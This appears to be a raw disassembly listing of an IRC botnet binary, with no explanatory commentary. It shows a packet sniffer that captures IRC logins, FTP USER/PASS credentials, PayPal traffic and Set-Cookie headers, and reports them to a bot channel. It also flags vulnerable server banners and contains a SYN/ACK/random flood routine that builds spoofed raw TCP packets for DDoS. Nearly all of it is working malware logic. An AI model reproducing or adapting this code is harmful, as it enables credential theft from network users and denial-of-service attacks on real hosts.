		dd 5000435Eh, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 5E3C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0B55415FFh, 0B70F004Ch, 75FF50C0h, 0B015FFF4h, 50004CB6h
		dd 8B7F048Dh, 5584C504h, 34FF0043h, 43556085h, 4C858D00h
		dd 68FFFFFDh, 435E08h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 0B815FFFFh, 50004CB5h
		dd 435DDC68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB6BC15h
		dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2BDCAFE8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE390, eax
		mov	eax, offset dword_4CE390
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A


loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2


loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491


loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7


loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507


loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E


loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E


loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4


loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615


loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B


loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB638
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB6A8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB6A4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CB650
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CB5B8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436188
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB6BC
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB5D0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CB5B8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436158
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB6BC
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h


loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB63C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905


loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h


loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h


loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1


loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436124
		jmp	loc_4129E7
; ---------------------------------------------------------------------------


loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360F0
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360BC
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_436084


loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------


loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43604C
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 226E269h
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 61B468FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB594
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------


loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6C8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB604
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB624
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB624
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB624
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB624
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB620
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB624
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2770C01h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2770977h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB624
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB624
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB620
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB624
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB688
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2770977h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------


loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CB5B8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4361DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------


loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB6BC
		pop	esi


loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CB57C
		mov	eax, ebx


loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
